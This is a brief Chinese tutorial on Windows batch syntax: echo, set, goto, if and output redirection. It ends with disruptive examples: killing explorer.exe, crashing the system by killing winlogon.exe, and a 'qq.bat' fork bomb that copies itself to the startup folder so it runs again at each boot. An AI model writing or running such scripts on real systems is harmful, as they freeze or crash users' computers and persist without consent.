1.1批处理作用
自上而下成批的处理每一条命令,直到执行最后一条
1.2如何创建批处理
扩展名:.bat
创建方法:新建一个记事本文件,然后将扩展名改为.bat
1.3批处理基本语法
1.3.1@echo off
作用:关闭回显过程,也就是屏蔽过程,建议放置在批处理的首行。
1.3.2 pause
作用:暂停批处理运行
1.3.3 title
作用:为批处理脚本设置标题
1.3.4 echo.
作用:在执行批处理脚本时,可以空一行
1.3.5 set
作用:设置变量
set a=9 //直接给a赋值为9
set /p time=请输入时间: //用户输入来给time赋值
set /a 后边可以进行数学计算
引用变量的值:
%time% //将time表示的值调出来
1.3.6 :和goto
:定义标签名
goto实现跳转
当程序运行到goto时,将自动跳转到:定义的标签部分去执行命令块
1.3.7 if语句
和c语言几乎一样
1.3.8
d: 1>nul 2>nul
这条命令的意思是,当成功进入d盘时,什么也不显示,当失败进入d盘时,什么也不显示
1>nul 意思是不显示命令运行的正确提示
2>nul 意思是不显示命令运行的错误提示
如果两个都有的话,就是不管运行正确还是错误都什么都不显示
>是重定向符号
nul是空设备的意思
把提示输入到空设备就是不显示了
1.3.9
taskkill /im explorer.exe /f >nul 2>nul
作用:杀死进程的命令,explorer.exe是桌面的应用,杀死后,桌面消失
start c:windowsexplorer.exe 可以重新开启explorer.exe进程
1.3.10
ntsd -c q -pn winlogon.exe
杀死登陆程序,但运行该脚本时已经登陆成功,此时杀死会让系统陷入矛盾,几秒的延迟后,会蓝屏(限xp,2003)
案例1
将批处理文件命名为qq.bat,写入以下代码
copy qq.bat "%userprofile%"+启动文件夹路径
:d
start
goto d
运行后,计算机会不停的打开cmd窗口,直到卡死,然后在此开机后,仍然会自动运行这个文件